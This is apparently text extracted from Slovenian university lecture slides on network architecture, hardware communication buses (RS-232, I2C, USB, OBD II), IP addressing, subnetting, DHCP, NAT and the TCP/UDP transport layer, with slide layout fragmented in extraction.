 Naprave L1 podaljšujejo/povečujejo kolizijske domene 
 Kolizijske domene lahko omejimo z 

 premoščevalnikom (bridge) 
 stikalom (switch) 
 usmerjevalnikom (router) 

 ˝Broadcast˝ domene lahko omejimo z  
 usmerjevalnikom 
 VLAN 
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stikalo 
broadcast 
domena 

stikalo broadcast 
domena 

usmerjevalnik 
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eHealth &  
Smart Health 
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Future Internet 

Future Internet 

Vir: ITU 

4 

Arhitektura telefonskega omrežja 
 IX – mednarodna centrala (2) 
 SX – sekundarna centrala (6), PSX (2) 
 PX – primarna centrala (cca. 60) 
 LC – lokalni koncentrator, tudi lokalna centrala (cca. 500) 

 priključene na PX ali PSX 

IX1 IX1

PX

SXSXSXSX

PXPSXPX

MSC

IXMobilni  

operaterji

Omrežje Telekoma Slovenije

Fiksni operaterji za 

 lokalni in nacionalni  

promet

Fiksni operaterji  

za mednarodni promet
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Arhitektura mobilnih in brežičnih omr. 
 NMT 

 1991: Komercialna uporaba omrežja NMT v Sloveniji 
 ukinitev NMT omrežja 31.12.2005 s cca 40.000 naročnikov 

 GSM 
 od 1996: Komercialna uporaba GSM 900 v Sloveniji 
 arhitektura omrežja 

 kartica SIM 
 mobilni terminal 
 bazna postaja in nadzorni elementi 
 glavni preklopni center in prehodni elementi 
 naročniške baze in registri podatkov 

 vzpostavljanje in vzdrževanje povezav 
 izvajanje prehodov, roaming 

 UMTS, LTE, Wimax 

Internet 
 Milijoni hostov (končnih 

sistemov) 
 inter-connected, na njih tečejo 

aplikacije 
 Različne komunikacijske 

povezave 
 optika, baker, radio, sateliti  

 Routerji 
 Usmerjajo in forwarirajo pakete 

 Internet: “omrežje omrežij” 
 “loosely” hierarhično  

 Javen 
 V primerjavi s privatnim 

intranetom 
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local ISP 

company 
network 

regional ISP 

router workstation 
server 

mobile 
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Arhitektura interneta: Tier 1 
 Največji “Tier 1” ISPji v v centru interneta, npr. MCI, Sprint, 

AT&T, C&W, DT, BT nacionalno/mednarodno pokrivanje 
 med sabo se obravnavajo kot enaki in enakovredni  

 “roughly” hierarhično  

7 

Tier 1 ISP 

Tier 1 ISP 

Tier 1 ISP 

Tier-1 
providers 

interconnect 
(peer) 

privately 

NAP 

Tier-1 providers 
also interconnect 
at public network 

access points 
(NAPs) 

Arhitektura interneta: Tier 2 
 Manjši “Tier 2” ISPji, ponavadi regionalni ISP-ji 

 so povezani na enega ali več Tier 1 ISPjev ter več Tier 2 ISPjev 
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Tier 1 ISP 

Tier 1 ISP 

Tier 1 ISP 

NAP 

Tier-2 ISP Tier-2 ISP 

Tier-2 ISP Tier-2 ISP 

Tier-2 ISP 

Tier-2 ISP pays 
tier-1 ISP for 
connectivity to 

rest of Internet 
 

Tier-2 ISP is 
customer of 

tier-1 provider 

Tier-2 ISPs 
also peer 

privately with 
each other, 
interconnect 

at NAP 
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Arhitektura interneta: Tier 3 
 “Tier-3” ISPji in lokalni ISPji  

 zadnji hop, “access network” 
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Tier 1 ISP 

Tier 1 ISP 

NAP 
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local 
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local 
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local 
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Local and tier- 
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them to rest 
of Internet 

Arhitektura interneta: potovanje paketa 
 

10 

Tier 1 ISP 

Tier 1 ISP 

Tier 1 ISP 

NAP 

Tier-2 ISP Tier-2 ISP 

Tier-2 ISP Tier-2 ISP 

Tier-2 ISP 

local 
ISP local 

ISP 
local 
ISP 

local 
ISP 

local 
ISP Tier 3 

ISP 

local 
ISP 

local 
ISP 

local 
ISP 



LTFE - Laboratorij za telekomunikacije, Fakulteta za elektrotehniko 

Arhitektura IPTV in 
radiotelevizijskih omrežij 

Arhitektura RTV in IPTV omrežja 
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LTFE - Laboratorij za telekomunikacije, Fakulteta za elektrotehniko 

Klasična vertikalna arhitektura IPTV 

Zemeljski programi

Video

Satelitski programi

 

Kabelski programi

Upravljanje: 

· storitev
· naročnikov
· vsebin
· tarifiranje
· statistika

ADSL / kabel

Video strežnik Strežnik za izdajanje 
licenc DRM

Produkcija vsebin

Enkoderji

Baza 
podatkov

Spletni strežnik

Upravljanje
Spletni brskalnik, 
posebna orodja

Usmerjevalniki
Stikala

Osebni 
računalnik

Modem
Usmerjevalnik

Stikalo

TV sprejemnikTV komunikator
Set Top Box

Omrežje 
IP 



Komunikacijska vodila in vmesnikiKomunikacijska vodila in vmesniki

as. mag. Andrej Štern
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Uvod

� Zakaj potrebujemo vodila

� prenos podatkov med komponentami in sklopi

� prenos signalizacije med strežniki in odjemalci

� omogočanje sinhronizacije s prenosom urinih impulzov

� ponekod tudi zagotavljanje napajanja čez vodilo

NADZORNI
CENTER

POTNIŠKA
KONZOLA

NADZORNI
CENTER

POTNIŠKA
KONZOLA
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Mehanske karakteristike

� Osnovne značilnosti

� zunanje dimenzije

� potreben prostor v napravi / na ohišju / na vodilu

� oblika - sploščeni, okrogli, DIN, SUB, ČINČ, JACK ...

� notranje dimenzije

� množica različnih premerov kontaktov

� napajalni konektorji / napajalniki

� število priključkov / pinov

� zadostno število (signali, napajanje ...)

� trajnostni parametri

� obraba, srebrenje, zaščita pred vplivi

� temperaturna trdnost (spajkanje!)

� namestitev

� through-hole, SMD, matica, zatiči ...

SUB DIN

φφφφ

TEFLON SMD OPTIKA
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Električne karakteristike

� Osnovne značilnosti

� dovoljene obremenitve

� tokovna obremenitev (segrevanje)

� napetostna obremenitev (preboj)

� dovoljene izgube

� ohmske izgube (slabljenje)

� parazitna kapacitivnost (dolžina)

� induktivno sklapljanje (presluhi)

� impedanca

� prenosi VF signalov, odboji

� zaščita pred stiki

� M/Ž konektor, menjava polaritete

� preprečevanje stikov med vklopom

� preklop s priključitvijo konektorja
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Druge posebnosti vodil

� Dolžina vodil

� naraščanje dolžine povečuje negativne vplive

� omejitve: slabljenje, kapacitivnost, induktivnost

� marsikdaj odvisno od kvalitete in izvedbe medija

� Odpornost na motnje in elektrostatiko

� vodniki so izpostavljeni neposredni okolici

� možnost indukcije in hitrega zvišanja potenciala -> uničenje naprave / modula

� galvanske ločitve komunikacijskih naprav z opto-sklopniki

� optične povezave rešijo veliko težav

� Kompromisi

� cenovno razmerje med kvaliteto medija in uporabnostjo

� upoštevanje cene in vzdrževanje konektorjev (optika)

� razpoložljivi prostor (PCB, velikost kanala, upogljivost vodila)

Izgube nekaterih kablov pri 
frekvenci 2,4 GHz [dB/m]

RG 174: 1,43
RG 58: 0,89
RF 58 LL: 0,6
RG 213: 0,6
LMR-400: 0,22
RLF-10: 0,23
H-155: 0,46
H-500: 0,3
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Izvedbe vodil

� Serijska (zaporedna) vodila

� prva komunikacijska vodila (5 do 8 podatkovnih bitov)

� primarna uporaba: teleprinter, terminal, ukazne konzole

� današnja uporaba: RS-232, RS-485, USB, SATA, I2C, I2S, SPI, SMBUS, 1-WIRE

� prednosti

� manj težav s sinhronizacijo in takti (prehodi)

� manj potrebnih povezav oz. žic, zato možno več oklopa

� manj težav s presluhi zaradi manjšega števila induktorjev

� Paralelna (vzporedna) vodila

� prvi način povezovanja perifernih enot

� uporaba: LPT/Centronics, ATA/IDE, spominska in podatkovna vodila

� prednosti

� n-kratna kapaciteta enega samega vodila (z omejitvami)

� enostavnost izvedbe (npr. 8-bitna obdelava v CPU brez pretvorbe SER->PAR) 
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RS-232

� Klasično serijsko vodilo

� prvo serijsko vodilo (starost ~40 let)

� RS-232 standard določa

� električne karakteristike (± 12V)

� mehanske lastnosti konektorjev in razpored pinov

� uporabna 2 tipa: starejši DB25 in “novejši” DB9

� topologijo povezovanja

� DTE-DCE (računalnik - modem)

� DTE-DTE (računalnik - računalnik)

� uporabni parametri

� tipične hitrosti do 115.200 (1,5 M) bit/s

� dolžine povezav

� do 300 m pri 9600 bit/s

� do 45 m pri 19,2 kbit/s, 55 pF/m

Predpis ±12V, spodnja meja ± 3V



88

obrnjeno 01001010

Start bit Pariteta
liho št. enic = 1
sodo št. enic = 0

Stop bit

RS-232 signali

� Primer: prenos črke “J”

� znak J je na 112. mestu v ASCII tabeli

� 112 (DEC) = 01001010 (BIN)

� pošiljanje najprej z LSB 

1 Stop bits 

None Parity 

8 Data bits 

9600 Baud 

Osnovna nastavitev (8,N,1)

Asinhrono vodilo

(nima dodane linije ure)
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Priključevanje RS-232 na MCU

� Spoštovanje napetostnih nivojev

� mikrokontrolerji (MCU) tipično uporabljajo 3,0-3,3 ali 5V nivoje

� pretvorba na ±12V nivoje s standardiziranimi pretvorniki MAX

� problem: vrata RS-232 ne zagotavljajo napajanja vezja

� rešitev: uporaba “odvečnih” signalnih linij za napajanje

� Uporaba USB-SER pretvornikov

� ustvarjanje navideznih vrat 

� napajanje iz USB (MM232R)
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RS-485 in RS-422

� Industrijsko serijsko vodilo

� komunikacija

� RS-422 je tipa točka-točka (kot RS-232)

� RS-485 je povezava tipa točka-več točk

� diferencialni prenos z uporabo parice

� 2- in 4-žična vodila za FDX, HDX

� povezovanje do 10 (32) naprav

� hitrosti

� 10 Mbit/s do razdalje 10 m

� 100 kbit/s na razdalji 1200 m

� uporaba RS-422/485

� prenos podatkov med različnimi napravami v proizvodnji

� izhodi iz merilnikov, ki zahtevajo dolge prenosne poti

� podaljševanje RS-232, izhodi na optiko
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Paralelno vodilo na PC

� Lastnosti

� prvotni priklop tiskalnikov na PC (LPT - Line Printer Terminal)

� uporaba 25-pin D-sub in 36 pin Centronics konektorjev

� 8-bitno podatkovno vodilo z več kontrolnimi signali

� izhodi: Strobe, Linefeed, Initialize, Select In

� vhodi: ACK, Busy, Select, Error, Paper Out

� hitrosti do 150 kbit/s

� dolžina kabla do 3,6m (presluhi med žicami)

� +5V / 0V napetostni nivoji (možnost napajanja)

� Krmiljenje posameznih pinov

� lpt1Data = 0x378, lpt1Status = 0x379, lpt1Control = 0x37a 

� lpt2Data = 0x278, lpt2Status = 0x279, lpt2Control = 0x27a 

� lpt3Data = 0x3bc, lpt3Status = 0x3bd, lpt3Control = 0x3be 
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Paralelni vmesniki za zaslone LCD

� Krmiljenje

� namenjeno predvsem alfanumeričnim zaslonom

� 4- ali 8-bitno z dodatnimi signalnimi pini

� vnaprej določen nabor znakovne tabele

� možnost dodajanja lastnih 8 znakov (0-7)
Krmilnik HD44780
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I2C

� Inter-IC bus

� topologija

� skupno deljeno 2-žično serijsko vodilo

� redka uporaba, kjer je omogočenih več gospodarjev

� uporaba “pull-up” uporov, napetost nivojev ni določena

� komunikacija

� gospodar vodi komunikacijo (pošiljanje START/STOP)

� naslavljanje naprav s 7-bitnim naslovom (določen)

� zadnji bit označuje pisanje (0) ali branje (READ/WRITE)

� hitrosti

� standard: 100 kHz, hiter: 400 kHz, zelo hiter: 3,4 MHz

� posebnosti

� uporaba “razvlečene” linije SCL za nadzor pretoka

� standard SMBus - delno združljiv, a strožji standard
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Tipična uporaba vodil I2C

� Primeri uporabe

� I2C elementi

� širitveno mesto I/O

� multiplekser, stikalo

� ponavljalniki, razdelilniki

� I2C senzorji

� temperatura, tlak, pospešek

� I/O enote

� bralnik multipleksa tipkovnice

� krmiljenje počasnega LCD

� Priključitev na PC

� uporaba USB-I2C modulov

� primer na: http://www.harbaum.org/till/i2c_tiny_usb/index.shtml

� Atmel USB sklad AVR-USB
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SPI

� Serial Peripheral Interface Bus

� komunikacija

� pohitrena različica I2C s podobno topologijo 

� skupno deljeno štiri-žično vodilo, mogoč samo en gospodar 

� enosmerni podatkovni kanali MOSI in MISO

� naslavljanje s pomočjo SS (Slave Select) oz. CS (Chip Select)

� hitrosti

� širok razpon hitrosti od 1 do 70 MHz

� vmesniki za Ethernet, USB, USART, CAN, IEEE 802.15.4, IEEE 802.11 

� branje spomina, pisanje po zaslonu

� A/D pretvorniki in drugi senzorji

� dostop do kartic MMC in SD

� posebnosti

� število klientov določa število CS
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USB

� Universal Serial Bus

� topologija: zvezda, podaljšana v drevo (več nivojska zvezda)

� do 5 nivojev globine vozlišč (angl. root hub, sharing hub)

� vsako vozlišče vsebuje vsaj en kontroler USB naprav

� vsak kontroler skrbi za vsaj 1 napravo, največ 127 (7-bit + 0)

� povezovanje

� cevi (angl. pipes) - logična povezava od SW v gostitelju do končne točke

� končna točka (angl. endpoint) - logičen naslov ene funkcionalnosti v napravi USB

� začetno naslavljanje (inicializacija, seznanjanje) se vrši s končno točko 0

� PnP, odkrivanje in preverjanje prisotnosti naprav

� dolžina kabla do 5 metrov (STP, prenos D+ in D-)

� daljše povezave uporabljajo aktivne repetitorje

� najvišje hitrosti

� v1.1 (1,2/12 Mbit/s), v2.0 (480 Mbit/s), v3.0 (4,8 Gbit/s)

� možnost napajanja 100 mA in 500 mA @ 5V ± 5%

Polnilci
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Uporaba vodil USB

� Priključevanje naprav

� večina naprav podpira USB samo navidezno

� uporaba USB pretvornikov na različna druga vodila

� največkrat RS-232 z navideznimi vrati COMnn

� povezava PC-PC

� enostavna povezava 1-na-1 z obračanjem linij D+ in D- ni mogoča

� uporaba posebnih vmesnikov z navideznimi odjemalci

� namestitev gonilnikov

� za navidezno omrežno povezavo, deljenje datotek in periferije ...

� zmogljivost enega kontrolerja USB

� vsak “master” ima omejeno število povezav

� nekatere naprave (npr. HDD) zavzamejo več končnih točk

� primer USB2SER (3x): vhodni tok, izhodni tok, signalna povezava

� problem pri “enostavnih” sistemih, npr. WLAN - usmerjevalnik
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FireWire

� IEEE 1394

� namen

� priključitev perifernih naprav na osebne računalnike

� prenos digitalnih avdio in video signalov

� zanesljiva komunikacija v letalski in avtomobilski industriji

� topologija

� povezovanje enakovrednih naprav (P2P)

� drevesno-verižna topologija z največ 63 napravami

� najvišje hitrosti

� FW 400 (400 Mbit/s, do 4,5 m), FW 800 (800 Mbit/s do 100 m), S3200 (3,2 Gbit/s)

� posebnosti

� manj obremenjuje CPU računalnika

� omogoča bolj konstanten prenos od USB

� omogoča > 40 W moči (1,5A @ 30V)

135

6 4 2

4 3 2 1
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OBD II

� On-Board Diagnostics

� avtomobilski vmesnik za spremljanje in poročanje okvar

� spremljanje izpusta okoljskih emisij

� shranjevanje in resetiranje odstopanj od začrtanih parametrov

� razbere, kategorizira in shrani napake v delovanju motorne elektronike

� beleži delovanje motorja v določenem časovnem obdobju (tudi v realnem času)

� tudi aktiviranje dodatne opreme v vozilu, možnost povečanja moči in navora

� uporaba standardiziranih 5 protokolov

� SAE J1850 PWM, pin: 2, 10, +5V (Ford)

� SAE J1850 VPW, pin: 2, +7V (GM)

� ISO 9141-2, pin: 7=K-line, 15=L-line, kot RS-232 (EU)

� ISO 14230 KWP, pin: 7=K-line, 15=L-line, (EU)

� ISO 15765 CAN, pin: 6, 14

Vmesnik J1969 - 16 pin

Ground

+12V
CAN

ISO 9141-2 
ISO 14230

SAE J1850
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Zaključek

� Kje vse najdemo vodila

� kjer je elektronika, so tudi komunikacije

� komunikacija = aplikacija + protokoli + vmesniki + medij

� Trendi

� višanje stopnje integracije, hitre serijske povezave

� vse več večpredstavnosti, nizke zakasnitve, prioritete

� varnost, zanesljivost in robustnost
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OSI Referenčni model 

SejniSejni

TransportniTransportni

OmrežniOmrežni

PovezavniPovezavni

FizičniFizični

Prenosni medij

AplikacijskiAplikacijski

PredstavitveniPredstavitveni
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PredstavitveniPredstavitveni
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IP protokoli sklad 

Fizični sloj 

Povezavni sloj 

IP 

UDP TCP 

ARP 
ICMP 

snmp dns 
nfs 
+ 

rpc 
telnet smtp X ftp http 

Tracert 
P

ing 
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Primerjava OSI in TCP/IP modela 
 OSI sklad je bolj sistematičen in konceptualen 
 Plasti sklada IP niso strogo definirane in ločene med seboj 
 OSI sklad je zgolj referenčni model in nikoli ni v celoti 

“zaživel” 

Aplikacijski 

Predstavitveni 

Sejni 

Transportni 

Omrežni 

Povezavni 

Fizični 

Omrežni 

Rač./omrežje 

Transportni 

Aplikacijski 

IP 

LAN WLAN 

TCP UDP 

Telnet FTP HTTP 
OSI TCP/IP 

L7 

L6 

L5 

L4 

L3 

L2 

L1 



Omrežne storitve v internetnih sistemih 
 Naslavljanje 
 Prenos 

 
 Zagotavljanje kakovosti storitev 
 Varnostne storitve 
 Avtentikacija, avtorizacija in beleženje 
 Mobilnost 
 Navidezna (virtualna) zasebna omrežja 
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Lastnosti protokola IP 
 Nepovezaven protokol omrežnega sloja 
 Izvaja  

 naslavljanje, usmerjanje ter krmilne funkcije 
 Komuniciranje z najboljšim možnim uspehom (“best effort”) 

 ne vključuje mehanizmov za odpravo napak (zgolj obvešča) 
 Ne zagotavlja vročitve naslovniku 

 to nalogo prepušča višjim slojem (npr. TCP) 
 Vsak paket v glavi nosi izvorni in ciljni naslov 
 Usmerjanje se za vsak paket izvrši v vsakem vozlišču 

posebej, neodvisno od ostalih paketov istega podatkovnega 
toka 

 Neodvisen od tehnologij fizičnega in povezavnega sloja 
 Dominanten protokol omrežnega sloja 
 Standardizacija v IETF 
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Naloge protokola IP 
 Prenos podatkov prek omrežja 
 Usmerjanje datagramov med mrežnimi povezavami 
 Fragmentacija in defragmentacija 

 prilagajanje velikosti podatkovnih enot različnim fizičnim omrežjem 
 Javljanje v primeru napak 
 Ustvari logično omrežje 

 logično naslavljanje mrežnih povezav 

Fizično omrežje 2 
ATM 

Fizično omrežje 1 
Ethernet 

Logično omrežje 
192.168.3.0/24 

Logično omrežje 
192.168.2.0/24 

Logično omrežje 
192.168.1.0/24 

Usmerjevalnik IP 
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Pomen omrežnega nivoja 
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Glava paketa IPv4 

Ver 

0 4 8 16 24 31 

IHL Type of 
service 

Flags 

Source address 

Destination address 

Options Padding 

Fragment 
offset 

Total lenght 

Identification 

Protocol Header checksum TTL 
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Polja v glavi paketa IPv4 
  Version 

 verzija protokola IP 

 IHL (Internet header length) 
 dolžina glave v nx32 bit, tipično  

n = 5 

 Type of service 
 mehanizmi, ki bi ločevali 

posredovanje datagramov 

 Total length 
 celotna dolžina IP datagrama 

 Identification 
 identifikacija datagrama za 

podporo de/fragmentaciji 
 Flags 

 uravnavanje de/fragmentacije 

 Fragmentation offset 
 določa pozicijo podatkov iz 

datagrama v orig. sporočilu  

 TTL (Time To Live) 
 “življenjski čas” datagramov z 

preprečevanje neskončnega 
kroženja v zankah 

 Protocol 
 oznaka protokola višjega nivoja 

(TCP, UDP, ICMP, EGP, OSPF) 

 HCS (Header Check Sum) 
 za detekcijo napak v glavi  

 Source/Destination Address 
 cilj izvorne in ponorne mrežne 

povezave 

 Options 
 debugging, meritve 

 Padding 
 dopolnjevanje velikosti glave pri 

poljih spremneljive dolžine 
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IP naslavljanje 
 32-bitni IP naslov 

 omrežni del + naslov naprave 
 Različni razredi naslovov 

 A, B, C, D, E 
 tip razreda določa število računalnikov v posameznem omrežju 
 unicast, broadcast, multicast 

 Podomrežja (subnet) 
 razredi so veliki, zato jih razdelimo na manjše dele 
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Maska podomrežja 
 IP naslov: 132.72.15.4 
 maska: 255.255.255.0 
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 Omrežni naslov – naslov, ki se nanaša na omrežje 
 same 0 v delu za naprave  

 Broadcast naslov – poseben naslov, ki se uporablja za pošiljanje 
podatkov vsem napravam v omrežju 
 same 1 v delu za naprave   

 Naslov naprave – naslov namenjen končni napravi v omrežju 

Naslovi naprav ne 
morejo imeti samih 0 
ali 1 v delu za 
naslavljanje naprav! 

Tipi naslovov IP 

Maska podomrežja: 255.255.255.0 
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Omrežni naslovi  
 Omrežne povezave  

 z istim mrežnim naslovom naj komunicirajo po istem fizičnem 
omrežju (npr. LAN, ločene so lahko samo s premoščevalniki ali 
repeaterji) 

 z različnimi mrežnimi naslovi ne komunicirajo direktno, komunikacija 
je mogoča le prek usmerjevalnikov 
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Topologija 
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Parametri IP omrežne povezave 
 Omrežna povezava je (logična) točka, kjer je naprava (PC, 

usmerjevalnik) priključena v IP omrežje 
 posamezna naprava ima lahko 1 ali več omrežnih povezav  
 praviloma pripada 1 omrežnemu vmesniku (npr. mrežni kartici)             

1 omrežna povezava 
 Parametri omrežne povezave 

 IP naslov omrežne povezave 
 maska podomrežja 
 izhodni usmerjevalnik (default gateway) 

 Način dodeljevanja parametrov 
 ročna 
 protokol DHCP 

 omogoča centralno dodeljevanje in upravljanje z naslovi IP  
 deluje v načinu klient-strežnik 
 koncept “najema" naslovov IP za določen čas 
 podpira statične naslove – na primer za strežnike 
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DHCP 
 DHCP je komunikacijski protokol, ki omogoča centralno 

dodeljevanje in upravljanje z IP naslovi 
 Deluje v načinu klient-strežnik 
 Uporablja se koncept “najema" IP naslovov za določen čas 
 DHCP podpira statične naslove – na primer za strežnike 

Klient DHCP 
Strežnik DHCP 

POŠLJI MOJE NASTAVITVE 

TVOJE NASTAVITVE SO: 
naslov: 172.16.10.13 
maska: 255.255.255.0 
DG:172.16.10.1 
DNS: 10.0.2.3 
cas veljavnost: 10 dni 
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DHCP delovanje  
Strežnik DHCP 

Klient DHCP 
discover (broadcast) 

offer (unicast) 

request (broadcast) 

ACK (unicast) 
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Razredi IP naslovov 
 Razred naslova IP sam po sebi (brez uporabe maske) 

določa, kakšen delež naslova IP predstavlja naslov omrežja 
in koliko preostane naslovu naprave v tem omrežju 
 ob uporabi razredov maske omrežij načeloma niso bile potrebne, 

vendar pa je ta mehanizem postal že davno premalo prilagodljiv 
(omogoča le izbiro 8, 16 ali 24 bitov naslova IP za omrežni naslov) in 
ga je praktično v popolnosti nadomestila uporaba maske (ki omogoča 
zvezno določitev deleža) 
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VLSM – Variable Length Subnet Mask  
 Variabilna dolžina mask 
 Omogoča dodatno granulacijo posameznega omrežja 

 še boljša izraba naslovnega prostora 

Subnet Variable length subnet 
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Uporaba VLSM 

Ljubljana

Kranj

Maribor

Celje

192.168.121.0/27
-30-

192.168.121.32/27
-30-

192.168.121.64/27
-30-

192.168.121.96/27
-30-

192.168.121.128/27
-2-

?

 Rapoložljiv naslovni prostor: 192.168.121.0/24 
 8 omrežij s 30 uporabnimi naslovi IP – podomrežje /27 
 Za P2P se uporabi podomrežje /30 – 2 uporabna IP naslova 
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Globalni in zasebni naslovi IP 
 Vsaka naprava v globalnem internetu ima svoj naslov IP 

 naslov IP lahko dobi od svojega ponudnika internet storitev ISP ali 
samostojno od IANA 

 zaradi enostavnejšega usmerjanja se naslovi ISP dodeljujejo večjim 
ISP, ki jih dodeljujejo manjšim 

 naslovi se dodeljujejo tudi geografsko 
 naslovi 193.x.x.x so npr. vsi v Evropi 

 Zaradi pomanjkanja globalnih naslovov IP in varnosti, se 
uporablja tudi lokalne naslove, ki jih pri izhodu iz 
zasebnega omrežja v javno pretvorimo v globalne 
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Zasebni naslovni prostor 
 Organizacija Internet Assigned Numbers Authority (IANA) je 

rezervirala nabor naslovov IP, ki se lahko uporabljajo v 
zasebnih omrežjih 
 10.0.0.0 – 10.255.255.255 (10 / 8) 
 172.16.0.0 – 172.31.255.255 (172.16 / 12) 
 192.168.0.0 – 192.168.255.255 (192.168 / 16) 

 Nabor javnih naslovov IP ostaja globalen in unikaten 
 Nabor zasebnih naslovov IP se v hrbteničnem omrežju ne 

oglašuje  
 Dostop do zunanjih virov omogoča mehanizem NAT 
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NAT – Network Address Translation 
 Prenaslavljanje izvornega naslova IP paketa v drug naslov 
 Uporaba 

 zakritje izvorne naprave 
 preslikava zasebnega nabora naslovov IP 
 mapiranje naslova IP s številko vrat strežnika (destination NAT) 
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Primerjava številčenja IP in PSTN/ISDN 

IP PSTN/ISDN

Format naslova enoten (32bit) spremenljiv

Geografska določenost je ni je

Hierahičnost je ni je

Logična imena da (DNS) ne obstajajo
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(De)Fragmentacija 
 Omogoča prenos datagramov prek 

povezav, ki imajo MTU (Maximum 
Trasmission Unit) manjši kot je 
velikosti oddanega datagrama  

 Maksimalna dolžina datagrama IP 
je 65536 oktetov 

PPP IP (512) 

PPP IP (376) 

PPP IP (512) 

ETH IP (512) 

ETH IP (376) 

ETH IP (512) 

Ident  = x Offset  = 0 

Začetna polja v glavi IP 

0 

ostala polja 

podatki (1400 oktetov) 

Identification= x Offset  = 0 

Začetna polja v glavi IP 

1 

ostala polja 

podatki (512 oktetov) 

Offset  = 512 

Začetna polja v glavi IP 

1 

ostala polja 

podatki (512 oktetov) 

Offset  = 1024 

Začetna polja v glavi IP 

0 

ostala polja 

podatki (376 oktetov) 

ETH IP (1400) 

Identification= x 

Identification= x 



29 

Proces fragmentacije 
 Zgled 

 datagram ICMP dolžine 4028 oktetov 
 MTU (Maximum Transmission Unit) = 1500 
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ICMP 
 ICMP (Internet Control Message Protocol) 

 del IP sloja 
 za obveščanje o (nekaterih) napakah in ostalih dogodkih, ki zahtevajo 

pozornost  
 ne obvešča o napakah ICMP paketov, generiranje ICMP datagramov 

ni obvezno 
 nadzor omrežja 

IP zaglavje ICMP sporočilo 

20 oktetov 

IP datagram 
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ARP 
 Address Resolution Protocol 
 Preslikava IP naslovov v 

fizične (MAC) 
 Omogoči pripravo ustreznega 

paketa na fizičnem nivoju 
 ARP je odvisen od omrežja 

 
 Inverzno operacijo izvajajo 

(RARP, BOOTP, DHCP) 



Osnove IPv6 
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Ključne novosti IPv6 
 Povečan naslovni prostor (128 bitov) = 3.4*10^38 naslovov 
 Naslavljanje unicast, multicast, anycast 

 nič več ˝broadcast˝ naslavljanja 
 Poenostavljen format glave 

 fiksna dolžina glave (40 oktetov) 
 zmanjšano število polj 
 polja, ki niso nujna se nahajajo v opcijskih glavah 

 Mehanizem za določitev MTU 
 IPv6 ne podpira fragmentacije paketov 

 Nov protokol za poizvedbe med sosedi 
 protokol Neighbor Discovery 
 nadomešča protokol ARP 

 Varnostni mehanizmi integrirani – obvezen IPSec 
 Izboljšan mehanizem QoS 

 dodatno polje ˝Flow label˝, ki označuje prometni pretok 
 Mehanizem za avtomatsko dodeljevanje naslovov 
 Izboljšana mobilnost 



Transport v internetnih sistemih 



Transport v internetnih sistemih 
 

38 
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Transportni sloj 

 4. sloj ISO/OSI 
 podatkovni tok je logična povezava med končnimi točkami 
 omogoča transportne storitve med gostiteljem in ciljem  

 Storitev od konca do konca (End-to-end) 
 Dva glavna protokola 

 TCP – Transmission Control Protocol 
 UDP – User Datagram Protocol 

 PDU:  pri TCP segment, pri UDP sporočilo 
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UDP 

TCP 

TCP/UDP TCP/UDP 

Storitve od konca do konca 
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Naloge transportnega sloja 
 Osnovna naloga: 

 Osnovni prenos podatkov oz. upravljanje posameznih komunikacij 
med aplikacijami 
 Transportno naslavljanje za identifikacijo posameznih aplikacij 
 Segmentiranje podatkov 
 Upravljanje posameznih segmentov 
 Sestavljanje segmentov 

 Možne dodatne 
naloge: 
 Zagotavljanje 

pravilnosti transporta 
 Kontrola 

podatkovnega toka 
med obema koncema 

 Preprečevanje 
zasičenja v omrežju 
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 En odjemalec ima lahko hkrati vzpostavljenih več transportnih sej 
z večimi strežniki 

TCP 
TCP 

TCP 

TCP 

TCP 

TCP 

HTTP HTTP 

FTP 

UDP 

SMTP 

UDP 

LTFE 
Web 
strežnik 

ISP 
Email in 
FTP 
strežnik 
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Transportno naslavljanje 
 Dvojico podatkov: 

 naslov IP,  
 številka vrat – port (FTP 21, TELNET 23, SMTP 25 ...) 

 igra vlogo točke dostopa do TCP storitve 

     imenujemo vtičnica (socket) 
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Vrata 
 Številka vrat (ang. port number) določa kateremu programu na 

računalniku, bo prejeto sporočilo dostavljeno 
 internetni brskalnik (Internet Explorer, Opera) 
 odjemalec za elektronsko pošto (Outlook, Opera) 
 mrežna igrica (Doom, World of Warcraft) 
 program za izmenjavo datotek (Torrent, E-Mule) 
 … 
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Nekatera tipična vrata in aplikacije 
 Vrata  

 16 bitni naslov, ki pove, kateri aplikaciji pripada podatkovni tok  
 Vtičnica 

 kombinacija podatka o protokolu, portu in naslovu IP  
{tcp, 193.44.234.3, 12345} 

 je “transportni naslov” 

Port Protokol Ime aplikacije Funkcija

21 tcp ftp prenos datotek

23 tcp telnet navidezni terminali na
oddaljenih računalnikih

25 tcp smtp elektronska pošta

80 tcp http WWW

161 udp snmp nadzor in upravljanje

111 udp rpc delenje mrežnih virov
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Kaj naredi povezavo edinstveno? 
 Povezava je definirana s paroma podatkov: 

 izvorni naslov IP, izvorna vrata 
 ponorni naslov IP, ponorna vrata 

 Različne hkratne povezave lahko uporabljajo ista ponorna vrata 
na strežniku (ponornem naslovu IP) 

192.168.1.101 

172.16.5.5 

Destination 
Port 

80 
80 
80 

Source 
Port 

49890 

49888 

Source 
Port 

198.133.219.25 
49888 

www.cisco.com 

Uporaba vrat – hkratne povezave 
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Protokol UDP 
 UDP (User Datagram Protocol) 

 osnovni standard RFC 768 
 enostaven, hiter – omogoča izmenjavo datagramov med 

aplikacijami 
 brez nadzora in odprave napak 
 ne dodaja kontrole pretoka 
 kontrolna vsota 

  Primeren za: 
 aplikacije, ki same skrbijo za pravilnost podatkov 
 prenos podatkov v realnem času 

 zvok, video 

Zaglavje IP Zaglavje UDP Podatki 

Datagram IP 

Datagram UDP 



48 

Protokol TCP 
 TCP (ang. Transmission Control Protocol)  

 osnovni standard RFC 793 
 urejen, zanesljiv, dvosmeren transport po omrežju IP  
 omogoča prenos podatkov brez napak 
 zaporedne številke paketov, potrjevanje paketov 
 kontrolna vsota 

 vključuje glavo TCP 
 podatke datagrama TCP 
 izvorni in ponorni naslov ter nekatera ostala polja iz glave IP 

 kontrola pretoka – princip okna 
 Povezavno usmerjen protokol 

 vzpostavitev povezave – SYN 
 rušenje povezave – FIN 

Zaglavje 
IP Zaglavje TCP Podatki 

Datagram IP 

Segment TCP 
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Naloge protokola TCP 
 Transportno naslavljanje 
 Pretvorba podatkov v sporočila (segmenti) in obratno 
 Zanesljivost prenosa podatkov 

 Avtomatična ponovna oddaja izgubljenih segmentov 
 Avtomatična ponovna oddaja okvarjenih segmentov (bitne napake) 
 Brisanje podvojenih segmentov 
 Ponovno vzpostavljanje pravilnega vrstnega reda pomešanih segmentov 

 Krmiljenje pretoka med obema koncema 
 Preprečevanje zamašitev v omrežju 
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Zgradba segmenta TCP  

urg, ack, psh, 
